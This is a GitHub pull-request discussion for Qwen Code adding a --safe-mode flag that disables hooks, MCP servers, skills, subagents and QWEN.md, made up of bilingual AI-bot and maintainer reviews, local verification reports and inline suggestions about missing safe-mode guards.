feat(cli): add --safe-mode flag to disable all customizations for troubleshooting - #4943
Conversation
|
Re-review of head Template is complete ✓ — every heading from On direction: unchanged from the prior round — still a clear win. A safe-mode escape hatch is standard in developer tools (VS Code On approach: unchanged and still looks right — the PR mirrors the existing One minor style nit worth noting but not blocking: the CLI The Moving on to code + real-scenario review. 🔍 中文说明对 head 模板完整 ✓ —— 方向：与上一轮一致，仍然是明确收益。safe-mode 逃生口是开发工具的标配（VS Code 方案：与上一轮一致，仍然合理 —— 几乎逐行对齐现有 非阻塞的风格小问题：CLI
进入代码 + 真实场景审查。🔍 — Qwen Code · qwen3.7-max |
Code Coverage Summary
CLI Package - Full Text ReportCore Package - Full Text ReportFor detailed HTML reports, please see the 'coverage-reports-22.x-ubuntu-latest' artifact from the main CI run. |
|
Re-review of head Code reviewImplementation is clean and mechanically simple: each subsystem that already honors Two non-blocking observations:
Reuse-before-new-code check: Nothing at the "critical blocker" or "AGENTS.md violation" level. Real-scenario testingBuilt from source in a fresh worktree at All five expected behaviors observed:
Side observation, not a PR issue: the model-side system prompt already contains "SAFE MODE PRE-CHECK" instructions to the model regardless of whether safe mode is active on the CLI side. That's a backend prompt change, not something this PR introduced or should address — flagging only because the thinking trace in [C] briefly references it. 中文说明对 head 代码审查实现干净、机制清晰：每个已经识别 两个非阻塞的观察：
复用检查： 没有"关键阻塞"或"AGENTS.md 违反"级别的问题。 真实场景测试从
附带观察（非本 PR 问题）：模型侧的 system prompt 已经包含 "SAFE MODE PRE-CHECK" 指令给模型，无论 CLI 端是否处于 safe mode。这是后端 prompt 变更，不是本 PR 引入或应处理的 —— 提一下只是因为 [C] 的 thinking trace 短暂引用了它。 — Qwen Code · qwen3.7-max |
|
Re-review reflection on head Stepping back: this is exactly what the PR promised. The motivation is real (users whose startup is broken by a bad hook / MCP server / malformed QWEN.md have no escape hatch today), the implementation is minimal (one guard per subsystem, mirroring the existing Independent-proposal check: if I'd been handed the issue and asked to design it, I'd have landed on almost exactly the same shape — flag + env var, per-subsystem Does it solve something users care about? Yes — "my CLI startup is broken and I don't know which customization did it" is a real support class, and a single-flag bypass collapses a whole troubleshooting flowchart into one invocation. Linked issue #4883 documents the demand. Is the code straightforward? Yes. The 771 additions / 82 deletions across 25 files sounds like a lot, but most of it is tests (a dedicated Is every change in the diff necessary? Yes — the After seeing it run, do the results match the promise? Yes. The tmux captures above show the banner appearing, the input-token drop proving QWEN.md is skipped, the memory-extractor sub-request disappearing in safe mode, and the CLI flag correctly overriding the env var. All five scenarios behave as documented. Would I curse the maintainer in six months? No — the guards are local, the helper is shared, the tests are co-located. Reverting safe mode would be a clean Approving. The 中文说明对 head 退一步看：这个 PR 完全兑现了承诺。动机真实（用户因坏掉的 hook / MCP server / 畸形 QWEN.md 导致启动失败，今天没有逃生口），实现最小（每个子系统一个守卫，逐行对齐现有 独立方案对照：如果把这个 issue 交给我设计，我几乎会落到完全相同的形态 —— 标志 + 环境变量、按子系统 是否解决了用户在意的问题？是 —— "我的 CLI 启动坏了，不知道是哪个自定义干的" 是真实的支持类别，单个标志位绕过能把一整套排障流程图压缩成一次调用。关联 issue #4883 记录了需求。 代码是否直截了当？是。25 个文件 771 增 / 82 删看起来很多，但大头是测试（专门的 diff 里每一处改动都必要吗？是 —— 看到运行结果后，是否匹配承诺？是。上面的 tmux 捕获显示横幅出现、input token 下降证明 QWEN.md 被跳过、memory-extractor 子请求在 safe mode 下消失、CLI 标志正确覆盖 env。5 个场景都按文档行为运行。 6 个月后的我会骂维护者吗？不会 —— 守卫是局部的，helper 是共享的，测试是同文件的。回滚 safe mode 是一次干净的 通过。 — Qwen Code · qwen3.7-max |
qwen-code-ci-bot
left a comment
qwen-code-ci-bot
left a comment
There was a problem hiding this comment.
LGTM, looks ready to ship. ✅
|
@qwen-code-ci-bot please help me review again |
qwen-code-ci-bot
left a comment
qwen-code-ci-bot
left a comment
There was a problem hiding this comment.
[Suggestion] packages/cli/src/services/FileCommandLoader.ts:82 — loadCommands() checks getBareMode() but not isSafeMode(). Custom slash commands from project/user/extension .qwen/commands/ directories are still discovered and loaded from the filesystem in safe mode. Same fix pattern: add || this.config?.isSafeMode?.() to the existing bare-mode early return.
— qwen3.7-max via Qwen Code /review
| const subagentsCache = new Map(); | ||
|
|
||
| const levels: SubagentLevel[] = ['project', 'user', 'builtin', 'extension']; | ||
| // Safe mode: only load builtin subagents |
There was a problem hiding this comment.
[Critical] loadSubagent() (lines 195–215) doesn't check isSafeMode(). While refreshCache() and listSubagents() correctly restrict to ['builtin'] in safe mode, loadSubagent() searches project/user/extension levels by calling findSubagentByNameAtLevel() → listSubagentsAtLevel(), which reads directly from disk via fs.readdir(), bypassing the guarded cache.
The primary caller (agent.ts) invokes loadSubagent() without any upstream safe-mode check, so user-defined subagents from .qwen/agents/ can still be loaded in safe mode — undermining the troubleshooting guarantee.
| // Safe mode: only load builtin subagents | |
| // Safe mode: only load builtin subagents | |
| const levels: SubagentLevel[] = this.config.isSafeMode() | |
| ? ['builtin'] | |
| : ['project', 'user', 'builtin', 'extension']; |
Also add a matching safe-mode guard at the top of loadSubagent() to skip non-builtin levels (session + builtin only), mirroring the logic here.
— qwen3.7-max via Qwen Code /review
| // Safe mode: only load bundled (system) skills | ||
| const levels: SkillLevel[] = this.config.isSafeMode() | ||
| ? ['bundled'] | ||
| : ['project', 'user', 'extension', 'bundled']; |
There was a problem hiding this comment.
[Critical] Same class of gap as subagent-manager.ts: loadSkill() (line ~315) doesn't check isSafeMode(). The ensureLevelCache() path (line ~1138) populates any missing level on demand via listSkillsAtLevel(), which only checks getBareMode() (line ~941), not isSafeMode().
User-defined skills from .qwen/skills/ (project) or ~/.qwen/skills/ (user) can be loaded and executed in safe mode. While the available_skills list shown to the model is properly restricted (via listSkills() which uses the guarded cache), the model can still invoke a user skill by name, and ensureLevelCache will read it from disk.
Add an isSafeMode() guard to loadSkill() (returning only from bundled level) or to ensureLevelCache() / listSkillsAtLevel() (returning [] for non-bundled levels in safe mode, mirroring the existing getBareMode() check at line ~941).
— qwen3.7-max via Qwen Code /review
| return { ExtensionManager: ExtensionManagerMock }; | ||
| }); | ||
|
|
||
| vi.mock('../skills/skill-manager.js', () => { |
There was a problem hiding this comment.
[Suggestion] The test suite mocks SkillManager entirely (and ExtensionManager, HookSystem, etc.), so the safe-mode guards added in this PR to skill-manager.ts:refreshCache() and subagent-manager.ts:refreshCache()/listSubagents() are never exercised by any test.
There are no tests verifying that loadSkill() or loadSubagent() restrict levels in safe mode — the exact gap that the two Critical findings above expose. Regressions in those guards would go undetected.
Consider adding integration-style tests (or unit tests at the manager level with real filesystem mocks) that verify:
SubagentManager.loadSubagent('name')returns null for project/user levels in safe modeSkillManager.loadSkill('name')returns null for project/user levels in safe mode
— qwen3.7-max via Qwen Code /review
DragonnZhang
left a comment
DragonnZhang
left a comment
There was a problem hiding this comment.
Summary
Reviewed the full diff (795 lines, 13 files) introducing a --safe-mode CLI flag and QWEN_CODE_SAFE_MODE env var to disable all user customizations for troubleshooting.
Review verdict: APPROVE
The implementation is well-designed and consistent with the existing bareMode pattern throughout the codebase. Key strengths:
-
Correct CLI/env precedence —
--no-safe-modecorrectly overridesQWEN_CODE_SAFE_MODE=trueby checkingargv.safeMode !== undefinedbefore falling through to the env var. This matches yargs boolean-flag conventions. -
Thorough subsystem disabling — Safe mode is propagated consistently through hooks (
disableAllHooks), extensions (extensionManagerrefresh skip), MCP (servers map zeroed in CLI config +skipInlineMcpDiscovery+ background discovery guard), skills (onlybundledlevel loaded), subagents (onlybuiltinlevel loaded), context files (refreshHierarchicalMemoryearly return), auto-memory/dream/skill toggles, and allowed HTTP hook URLs. -
Good test coverage on the
Configlayer —config.safe-mode.test.tsexercises default, env, param, precedence, and subsystem-disable scenarios. Mock stubs forisSafeModeare added to every test file that uses the Config mock, preventing silent regressions. -
UI feedback is appropriate — Startup warning banner and footer badge give users clear visibility that safe mode is active.
-
Daemon stub (
workspaceAgents.ts) correctly hardcodesisSafeMode: () => falsesince the daemon serves background requests independent of the user's CLI invocation.
Minor observations (not blocking)
-
SubagentManager.listSubagentssilently coerces a caller-specifiedoptions.levelto['builtin']when in safe mode. Production callers (nonInteractiveHelpers.ts,workspaceAgents.ts,tools/agent/agent.ts) don't passlevel, so this is harmless today, but the implicit override could surprise a future caller that passes e.g.{ level: 'project' }and silently receives builtin subagents instead. Consider either logging a debug message when the coercion fires, or returning[]for non-builtin explicit requests so the behavior is observable. -
skill-manager.ts/subagent-manager.tshave no unit tests for the new safe-mode branches (only the bundled/builtin level restriction). The Config-level tests cover the integration surface, but targeted tests in these managers would guard against future refactors that accidentally bypass theisSafeMode()check. -
MCP discovery guard redundancy —
skipInlineMcpDiscoveryalready includesthis.isSafeMode(), so the additional&& !this.isSafeMode()on thestartMcpDiscoveryInBackground()call site is logically redundant (safe mode already setsskipInlineMcpDiscovery = true). Not wrong — it's defensive — but worth a comment explaining the belt-and-suspenders intent so a future reader doesn't "clean it up."
None of these are correctness bugs. The PR ships clean, safe behavior and is ready to merge.
Local runtime verification report (maintainer)Verified this PR at head Functional verdict: all 7 steps of the Reviewer Test Plan pass, plus file-side-effect and event-stream cross-checks. The feature works as described. ⚠ Merge blocker first: the PR is currently 1. Conflict analysis (for the rebase)Single file:
The two changes are semantically orthogonal (safe mode vs ACP bootstrap path) and compose by simply keeping both conditions. 2. Build + test suites (PR branch as-is)
3. Headless A/B — same prompt, normal vs
|
Signal (from init event + side effects) |
Normal | --safe-mode |
|---|---|---|
mcp_servers |
[{session-mcp, connected}] |
[] |
agents |
[customagent, general-purpose, Explore, statusline-setup] |
builtin only — customagent gone |
| PreToolUse hook (file side effect) | fired (1 line in log) | did not fire (0 lines) |
| QWEN.md in context | answered PINEAPPLE-7777 directly — 1 tool call (just ls) |
model didn't know the answer from context and had to read_file QWEN.md itself (2 tool calls) before answering |
The last row is worth spelling out: in safe mode the marker string still appears in the final answer, but the event stream shows why — the system prompt didn't contain QWEN.md, so the model explicitly read the file as a tool call. The normal-mode run answered from injected context without reading anything. That's a sharper proof of "context files skipped" than the answer text alone.
4. Interactive rounds (tmux)
--safe-mode: startup banner⚠ SAFE MODE — all customizations disabled (hooks, extensions, skills, MCP servers, QWEN.md)…✅; footer shows⚠ Safe Mode✅;/skillslists only (Bundled) entries —custom-marker-skillabsent ✅;/mcp→0 servers✅.QWEN_CODE_SAFE_MODE=true(no flag): identical banner + footer ✅.QWEN_CODE_SAFE_MODE=true+--no-safe-mode: zero safe-mode markers,/mcpshowssession-mcp · ✓ connected— CLI flag correctly overrides the env var ✅.- Normal-mode regression:
/skillsshowscustom-marker-skill (Project)again; the headless baseline above already confirmed MCP/agents/hook/context all behave as before ✅.
5. Code-review notes
- Safe mode consistently piggybacks on the existing
bareModegates (getBareMode() || isSafeMode()) rather than inventing parallel paths — extensions skipped, skills cache-only (bundledlevel), both inline and background MCP discovery gated,refreshHierarchicalMemoryshort-circuits (and resets the conditional-rules registry), hooks force-disabled, auto-memory/dream/skill off,allowedHttpHookUrlsemptied. The "only skips loading, never forces loading" claim matches the diff. - Flag plumbing is sound: yargs boolean →
--no-safe-modeyieldsfalse(not undefined), so the cli-level resolution (argv.safeMode !== undefined ? argv.safeMode : env) gives the flag precedence; core's constructor has the same env fallback for non-CLI embedders, andparams.safeMode ?? envcorrectly does not re-read the env when the CLI passed an explicitfalse. The serve daemon's config stub pinsisSafeMode: () => falseso the Proxy guard doesn't trip. MemoryDialogtoggles read as off in safe mode, mirroring bare mode.
6. Not covered here
- Extensions in safe mode — no extension installed in my fixture; covered by the gating code path + unit tests only.
- Conditional rules (
.qwen/rules) — exercised only via therefreshHierarchicalMemoryreset path, no dedicated rules fixture. /doctorintegration — author explicitly defers it.- Windows/Linux interactive behavior — CI's unit matrix is green; my tmux run is macOS.
- Anything about how these gates interact with the post-rebase
skipMcpDiscoveryoption — that code doesn't exist on this branch yet; re-check after rebase (see §1).
Verdict
Feature-wise this does exactly what it says in every category I could make observable, with clean implementation choices. Recommend merge after rebase: the conflict is two mechanical hunks (resolution above), and since both sit on the MCP-discovery gate, re-running the /mcp-empty check (§4, 30 seconds) on the rebased branch is cheap insurance.
Environment: macOS (Darwin 25.5.0), Node v22.22.2, branch @ f69a1981f (PR as-is, 42 commits behind main), npm run bundle + node dist/cli.js, tmux-driven TUI + headless --output-format json A/B, fixture at /tmp/pr4943-e2e.
中文版（Chinese version）
本地运行时验证报告（维护者）
在 head f69a1981f 本地构建 bundle,用真实模型(qwen3.7-max)+ tmux 驱动交互会话,在一个刻意重度自定义的 fixture 项目(QWEN.md + PreToolUse hook + MCP server + 项目 skill + 项目 agent)上验证——让 safe mode 在每个类别都有真实的东西可禁。
功能结论:Reviewer Test Plan 全部 7 步通过,外加文件副作用与事件流交叉验证。特性按描述工作。
⚠ 但合并阻塞项优先:PR 当前与 main 处于 CONFLICTING 状态(落后 42 个 commit)。冲突小且机械——下文给出详情与建议解法——但合并前必须 rebase,且其中一处冲突行恰好是 safe-mode 门控,建议 rebase 后快速复跑 MCP 相关检查。
1. 冲突分析（供 rebase 参考）
单文件:packages/core/src/config/config.ts,两个 hunk,均在 initialize() 的 MCP discovery 门控——本 PR 在同一行加 this.isSafeMode(),而 main(ACP 相关工作)在同一处加了 options?.skipMcpDiscovery:
- Hunk 1(
skipInlineMcpDiscovery):双方都向同一表达式加 OR 条件。解法:全保留this.getBareMode() || this.isSafeMode() || !legacyBlockingMcp || options?.skipMcpDiscovery === true - Hunk 2(后台 discovery 门控):同形。解法:
skipInlineMcpDiscovery && !this.getBareMode() && !this.isSafeMode() && !options?.skipMcpDiscovery
两处改动语义正交(safe mode vs ACP bootstrap),叠加保留即可。
2. 构建 + 测试套件（PR 分支原样）
npm install && npm run bundle→ 干净(dist/cli.jsv0.17.1)- 新增
config.safe-mode.test.ts:13/13 通过;受影响的 cli 套件(Footer、MemoryDialog、slashCommandProcessor、gemini):98/98 通过。零失败零跳过 - PR head 上的 CI:Lint、CodeQL、三平台测试全绿(注意:绿是相对旧基线,非当前
main)
3. Headless A/B —— 同一 prompt,normal vs --safe-mode
Prompt:"用 shell 工具跑 ls,然后回答:项目水果是什么?"(fixture 的 QWEN.md 指示答案为 PINEAPPLE-7777),--output-format json:
信号(来自 init 事件 + 副作用) |
Normal | --safe-mode |
|---|---|---|
mcp_servers |
[{session-mcp, connected}] |
[] |
agents |
含 customagent |
仅 builtin —— customagent 消失 |
| PreToolUse hook(文件副作用) | 触发(log 1 行) | 未触发(0 行) |
| QWEN.md 注入 | 直接答出 PINEAPPLE-7777 —— 1 次工具调用(仅 ls) |
模型从上下文不知道答案,被迫自己 read_file QWEN.md(2 次工具调用)后才作答 |
最后一行值得展开:safe mode 下最终答案里仍出现 marker,但事件流揭示了原因——系统提示中没有 QWEN.md,模型是显式调工具读的文件;normal 轮则直接从注入的上下文作答、无需读任何文件。这比单看答案文本是更锐利的"context 文件被跳过"证明。
4. 交互轮（tmux）
--safe-mode:启动横幅⚠ SAFE MODE — all customizations disabled…✅;footer 显示⚠ Safe Mode✅;/skills仅列 (Bundled) 条目——custom-marker-skill消失 ✅;/mcp→0 servers✅QWEN_CODE_SAFE_MODE=true(无 flag):横幅 + footer 完全一致 ✅QWEN_CODE_SAFE_MODE=true+--no-safe-mode:零 safe-mode 标记,/mcp显示session-mcp · ✓ connected—— CLI flag 正确覆盖环境变量 ✅- 正常模式回归:
/skills重新显示custom-marker-skill (Project);上面的 headless 基线已确认 MCP/agents/hook/context 行为如旧 ✅
5. 代码审阅备注
- Safe mode 一致地搭载既有
bareMode门控(getBareMode() || isSafeMode())而非另起平行路径——扩展跳过、skills 仅 cache bundled 层、inline + 后台 MCP discovery 双双门控、refreshHierarchicalMemory短路(并重置 conditional-rules registry)、hooks 强制禁用、auto-memory/dream/skill 关闭、allowedHttpHookUrls清空。"只跳过加载、从不强制加载"的声明与 diff 相符 - Flag 管道正确:yargs boolean 下
--no-safe-mode产生false(非 undefined),cli 层argv.safeMode !== undefined ? argv.safeMode : env保证 flag 优先;core 构造器为非 CLI 嵌入方保留同样的 env fallback,且params.safeMode ?? env在 CLI 显式传false时不会再读 env。serve 守护进程的 config stub 固定isSafeMode: () => false,Proxy 守卫不会误触 MemoryDialog开关在 safe mode 下读为关闭,与 bare mode 一致
6. 本次未覆盖
- safe mode 下的扩展——fixture 未安装扩展;仅由门控代码路径 + 单测覆盖
- 条件规则(
.qwen/rules)——仅经refreshHierarchicalMemory重置路径验证,无专门 rules fixture /doctor集成——作者明确延后- Windows/Linux 交互行为——CI 单测矩阵绿;我的 tmux 验证在 macOS
- 这些门控与 rebase 后
skipMcpDiscovery选项的交互——该代码在本分支尚不存在;rebase 后复查(见 §1)
结论
功能层面,在我能构造出可观测信号的每个类别中,它都精确做到了描述的行为,实现选择干净。建议 rebase 后合并:冲突是两个机械 hunk(解法见上),且都落在 MCP discovery 门控上,rebase 后在新分支复跑一次 /mcp 为空的检查(§4,30 秒)是廉价的保险。
环境:macOS (Darwin 25.5.0)、Node v22.22.2、分支 @ f69a1981f(PR 原样,落后 main 42 个 commit)、npm run bundle + node dist/cli.js、tmux 驱动 TUI + headless --output-format json A/B、fixture 位于 /tmp/pr4943-e2e。
|
This PR now has merge conflicts with |
54a9c6c to
f69a198
Compare
|
@qwen-code /triage |
✅ Local verification report — real interactive (tmux) testingI built this PR from source and exercised it as a real interactive session (driven under an isolated Setup
Reviewer test plan — 7/7 PASS
Extra subsystems confirmed disabled in safe mode:
Evidence: safe-mode startup (banner + footer badge)Evidence: /skills, /mcp, /context (normal → safe)Status of the prior CHANGES_REQUESTED findingsCritical #1 (subagent The fix correctly guards the list paths (
So a custom skill/subagent is not invocable by the model in safe mode. ✅ However, the underlying manager methods themselves are not self-guarding — Not a merge blocker (no model path reaches it unvalidated), but a one-line Suggestion (custom slash commands) — still OPEN and genuinely reachable.
Bare mode hides these; safe mode should too for parity (and they are literally a “customization” the banner claims to disable). This is the one concretely reachable gap — recommend the same Minor / non-issues
VerdictThe feature works exactly as advertised and the UX (banner + footer + 中文摘要本地从源码构建该 PR，并在隔离的 tmux 会话中以真实交互方式验证（非仅单测）。
结论：功能符合预期、UX 清晰；合并前建议修复斜杠命令守卫，manager 层守卫作为后续纵深防御。 |
|
Qwen Code review did not complete successfully: Qwen review aborted with an API error before posting comments. See workflow logs. |
qwen-code-ci-bot
left a comment
qwen-code-ci-bot
left a comment
There was a problem hiding this comment.
LGTM, looks ready to ship. ✅ Re-verified at head d2615c3: CI green across three platforms, tmux E2E confirms banner + QWEN.md skip + env var activation + --no-safe-mode override, maintainers have already done their own Linux verification on the thread. The one stylistic nit (bareMode || safeMode repeated ~25× in the CLI loader) is not worth a round-trip — leaving it for a future cleanup.
|
@qwen-code /resolve |
This comment has been minimized.
This comment has been minimized.
|
@qwen-code /resolve |
|
Qwen Code attempted to resolve merge conflicts but the run did not complete successfully. address-summary.mdConflict Resolution Summary — PR #4943ConflictFile: Cause: The ResolutionCombined both changes:
Verification
CommitCheck the workflow run for full logs. |
|
@qwen-code /resolve |
- packages/cli/src/config/config.ts: merged safeMode guards (PR) with new autoSkillConfirm field (main), applying bareMode || safeMode to all memory/skill toggles - packages/core/src/config/config.ts: adopted main's getMergedMcpServers() refactoring (getTopTierMcpServers + private getMergedMcpServers) and added isSafeMode() early return to the public getMcpServers() method Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>
|
Qwen Code resolved the merge conflicts and pushed the branch update. Merge Conflict Resolution SummaryPR: #4943 — feat(cli): add --safe-mode flag to disable all customizations for troubleshooting Conflicts Resolved1.
|
d68167e
qwen-code-ci-bot
left a comment
qwen-code-ci-bot
left a comment
There was a problem hiding this comment.
Code Review — PR #4943 feat(cli): add --safe-mode flag
Overall the PR is well-structured: the bareMode || safeMode guard pattern is applied consistently across most settings-sourced values, the new safe-mode.ts utility is clean, and the feature is well-tested. However, I found a few gaps that should be addressed before merge.
🔴 Critical
1. 14 test failures in config.safe-mode.test.ts
All tests fail with:
No "DEFAULT_SENSITIVE_SPAN_ATTRIBUTE_MAX_LENGTH" export is defined on the "../telemetry/index.js" mock
The production code imports DEFAULT_SENSITIVE_SPAN_ATTRIBUTE_MAX_LENGTH from telemetry/index.ts (used at config.ts:1174) but the test mock at config.safe-mode.test.ts doesn't include this export. Add it to the vi.mock factory:
DEFAULT_SENSITIVE_SPAN_ATTRIBUTE_MAX_LENGTH: 1024,2. SavedWorkflowLoader.loadCommands() missing isSafeMode() check
packages/cli/src/services/saved-workflow-loader.ts:47 has getBareMode?.() check but no isSafeMode?.() check. Saved workflows execute project-local code — same category as FileCommandLoader which IS guarded. This is a safe-mode bypass for project code execution. Fix: add if (this.config.isSafeMode?.()) return []; alongside the existing bare-mode check.
3. Storage.setRuntimeBaseDir() reads settings before safe-mode guard
packages/cli/src/config/config.ts:1411 calls Storage.setRuntimeBaseDir(settings.advanced?.runtimeOutputDir, cwd) immediately after computing safeMode but without guarding it. In safe mode, this settings-sourced value should either be skipped or use defaults.
4. settings.context.fileName modifies global module state without guard
packages/cli/src/config/config.ts:1422-1427 calls setServerGeminiMdFilename(settings.context.fileName) based on settings without a safe-mode check. This modifies a global module variable from user settings, which contradicts the safe-mode intent of ignoring all user customizations.
🟡 Suggestions
5. argv.excludeTools not guarded in safe mode
packages/cli/src/config/config.ts:1591 — the for (const t of argv.excludeTools ?? []) loop is not guarded by safeMode. The PR already guards settings.tools?.exclude and adds a warning when --core-tools is used in safe mode, but --exclude-tools is silently accepted. Consider adding the same bareMode || safeMode guard, or at least a warning.
6. getMcpServerNames() / getMcpServerUnavailableReason() bypass safe-mode guard
These methods call the private getMergedMcpServers() directly rather than going through the guarded public getMcpServers(). The getMcpServers() guard at core config.ts:3492 returns {} in safe mode, but getMcpServerNames() (line ~3649) bypasses this and still returns server names. Either add guards to these methods too, or have them call through getMcpServers().
7. isManagedMemoryAvailable() missing isSafeMode() guard
Core config.ts:4659 returns !this.getBareMode() without !this.isSafeMode(). The adjacent getManagedAutoMemoryEnabled() correctly guards both. In safe mode, the UI would show memory as "available" even though managed memory is disabled.
8. MCP hot-reload bypass via private path
getMcpServers() has a safe-mode guard, but the MCP restart/refresh code path likely calls getMergedMcpServers() (private) directly. If settings watcher triggers a reload during a safe-mode session, it could re-enable MCP servers.
9. computerUseEnabled, cronEnabled, agentTeamEnabled not guarded
These settings-sourced values at CLI config.ts:1959-1980 don't have bareMode || safeMode guards. May be intentional for feature flags, but worth confirming whether these should be reset to defaults in safe mode.
Reviewed by Qwen Code (qwen3.7-max)
| return this.enableAutoSkill && !this.getBareMode() && !this.isSafeMode(); | ||
| } | ||
|
|
||
| getAutoSkillConfirmEnabled(): boolean { |
There was a problem hiding this comment.
getAutoSkillConfirmEnabled() is missing the !this.isSafeMode() guard. Every adjacent toggle (getAutoSkillEnabled, getManagedAutoDreamEnabled, getManagedAutoMemoryEnabled) includes it after this PR, but this one was missed.
getAutoSkillConfirmEnabled(): boolean {
return this.enableAutoSkillConfirm && !this.getBareMode() && !this.isSafeMode();
}— Qwen Code (qwen3.7-max)
| } | ||
|
|
||
| getMcpServers(): Record<string, MCPServerConfig> | undefined { | ||
| if (this.isSafeMode()) return {}; |
There was a problem hiding this comment.
The guard on getMcpServers() is good, but note that getMcpServerNames() and getMcpServerUnavailableReason() call the private getMergedMcpServers() directly — bypassing this safe-mode check entirely. MCP server names would still leak through those paths in safe mode.
Consider either:
- Adding
isSafeMode()guards to those methods too, or - Having them call through
getMcpServers()instead of the private method.
— Qwen Code (qwen3.7-max)
| } | ||
|
|
||
| isManagedMemoryAvailable(): boolean { | ||
| return !this.getBareMode(); |
There was a problem hiding this comment.
isManagedMemoryAvailable() returns !this.getBareMode() without !this.isSafeMode(). The adjacent getManagedAutoMemoryEnabled() correctly guards both. In safe mode, the UI would incorrectly show memory as "available" even though managed memory is disabled.
isManagedMemoryAvailable(): boolean {
return !this.getBareMode() && !this.isSafeMode();
}— Qwen Code (qwen3.7-max)
| for (const name of settings.slashCommands?.disabled ?? []) | ||
| addDisabled(name); | ||
| } | ||
| for (const name of argv.disabledSlashCommands ?? []) addDisabled(name); |
There was a problem hiding this comment.
The settings-sourced loop above is correctly guarded with !bareMode && !safeMode, but this argv.disabledSlashCommands loop is not guarded. In safe mode, --disabled-slash-commands could still disable commands.
The PR's intent is to ignore settings-sourced values in safe mode. If the same applies to CLI flags (consistent with the --core-tools warning added above), consider adding the guard here too:
if (!bareMode && !safeMode) {
for (const name of argv.disabledSlashCommands ?? []) addDisabled(name);
}— Qwen Code (qwen3.7-max)
|
@qwen-code /resolve |
|
Qwen Code resolved the merge conflicts and pushed the branch update. Merge Conflict Resolution Summary — PR #4943Branches
Conflicted Files1.
|
qwen-code-ci-bot
left a comment
qwen-code-ci-bot
left a comment
There was a problem hiding this comment.
Review Summary
Thanks for the comprehensive --safe-mode implementation. The overall design is solid — the bareMode || safeMode pattern is applied consistently across most settings-sourced values, and the dedicated safe-mode.ts utility is clean.
I found 4 actionable gaps (posted as inline comments) and 2 additional observations:
Inline comments
- [Critical] Test failures —
config.safe-mode.test.tshas 14 test failures due to incomplete mock setup (missingDEFAULT_SENSITIVE_SPAN_ATTRIBUTE_MAX_LENGTHexport in the telemetry mock) - [Suggestion]
disabledToolssilent re-enable — in safe mode, user-disabled tools are silently re-enabled with no warning - [Suggestion]
sessionSubagentsloaded unconditionally — theloadSessionSubagents()call is outside the safe-mode guard - [Suggestion]
getAutoSkillConfirmEnabled()andisManagedMemoryAvailable()missingisSafeMode()— both methods only check!this.getBareMode(), inconsistent with the surrounding methods that receivedisSafeMode()guards in this PR
Additional observations (not in diff hunks)
settings.proxy,settings.fastModel,settings.visionModel— these pass through without safe-mode guards in CLI config. Proxy especially could route safe-mode traffic through a user-configured proxy.SettingsWatcheringemini.tsx— creation is gated only bybareMode, notsafeMode. MCP hot-reload remains active in safe mode, potentially loading user-configured MCP servers at runtime.
| // original casing; shared helper since the MCP restart refresh path | ||
| // must agree byte-for-byte with this. | ||
| const disabledTools = normalizeDisabledToolList(settings.tools?.disabled); | ||
| const disabledTools = |
There was a problem hiding this comment.
[Suggestion] In safe mode, disabledTools is set to [], silently re-enabling tools the user explicitly disabled via settings.tools.disabled. This could be confusing during troubleshooting — the user may have disabled a tool for a reason.
Consider either:
- Logging a warning when tools are re-enabled in safe mode, or
- Preserving the user's
disabledlist in safe mode (safe mode should disable customizations, not overrides the user intentionally set).
| } | ||
|
|
||
| if (!this.getBareMode()) { | ||
| if (!this.getBareMode() && !this.isSafeMode()) { |
There was a problem hiding this comment.
[Suggestion] The isSafeMode() guard was correctly added to extensionManager.refreshCache() on the next line, but this.subagentManager.loadSessionSubagents(this.sessionSubagents) at lines 2048-2049 is still loaded unconditionally. Session subagents are user-provided and should be gated by safe mode.
- if (this.sessionSubagents.length > 0) {
+ if (this.sessionSubagents.length > 0 && !this.isSafeMode()) {
this.subagentManager.loadSessionSubagents(this.sessionSubagents);
}… safe-mode test mock The telemetry mock in config.safe-mode.test.ts was missing the DEFAULT_SENSITIVE_SPAN_ATTRIBUTE_MAX_LENGTH export, causing all 14 tests to fail with: No "DEFAULT_SENSITIVE_SPAN_ATTRIBUTE_MAX_LENGTH" export is defined on the "../telemetry/index.js" mock Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>
qwen-code-ci-bot
left a comment
qwen-code-ci-bot
left a comment
There was a problem hiding this comment.
LGTM, looks ready to ship. ✅
wenshao
left a comment
wenshao
left a comment
There was a problem hiding this comment.
Additional finding (not in diff): The /mcp reconnect command at packages/cli/src/commands/mcp/reconnect.ts:70 constructs a new Config({...}) without passing safeMode. The constructor falls back to isSafeModeEnv() which only detects the env var path. If safe mode was activated via --safe-mode CLI flag (not env var), the reconnect Config would be unaware and attempt to connect to MCP servers from settings. Consider passing safeMode through to the reconnect Config, or disabling /mcp reconnect when safe mode is active.
— qwen3.7-max via Qwen Code /review
| @@ -4947,19 +4980,21 @@ export class Config { | |||
| } | |||
|
|
|||
| getManagedAutoDreamEnabled(): boolean { | |||
There was a problem hiding this comment.
[Critical] getTeamMemoryEnabled() (line ~4944) and getTeamMemorySyncEnabled() (line ~4964) check getBareMode() but not isSafeMode(). Both have env var overrides (QWEN_CODE_MEMORY_TEAM=1, QWEN_CODE_MEMORY_TEAM_SYNC=1) that re-enable team memory and team memory sync at call time, bypassing the enableTeamMemory: false set by loadCliConfig.
A project-level .env or shell profile could re-activate team memory sync (which pushes data to git remotes) even when the user expects safe mode to disable all customizations.
| getManagedAutoDreamEnabled(): boolean { | |
| getTeamMemoryEnabled(): boolean { | |
| if (this.getBareMode() || this.isSafeMode()) { | |
| return false; | |
| } | |
| const override = process.env['QWEN_CODE_MEMORY_TEAM']; |
Apply the same pattern to getTeamMemorySyncEnabled().
— qwen3.7-max via Qwen Code /review
| } | ||
| }; | ||
| for (const name of settings.slashCommands?.disabled ?? []) addDisabled(name); | ||
| if (!bareMode && !safeMode) { |
There was a problem hiding this comment.
[Critical] Bare mode regression: settings.slashCommands?.disabled was previously loaded unconditionally (old code: for (const name of settings.slashCommands?.disabled ?? []) addDisabled(name);). This change wraps it in if (!bareMode && !safeMode), which silently changes bare mode behavior — users running --bare with slashCommands.disabled in settings will now find those commands re-enabled.
Only safeMode should be new in this guard:
| if (!bareMode && !safeMode) { | |
| if (!safeMode) { | |
| for (const name of settings.slashCommands?.disabled ?? []) | |
| addDisabled(name); | |
| } |
— qwen3.7-max via Qwen Code /review
| // must agree byte-for-byte with this. | ||
| const disabledTools = normalizeDisabledToolList(settings.tools?.disabled); | ||
| const disabledTools = | ||
| bareMode || safeMode |
There was a problem hiding this comment.
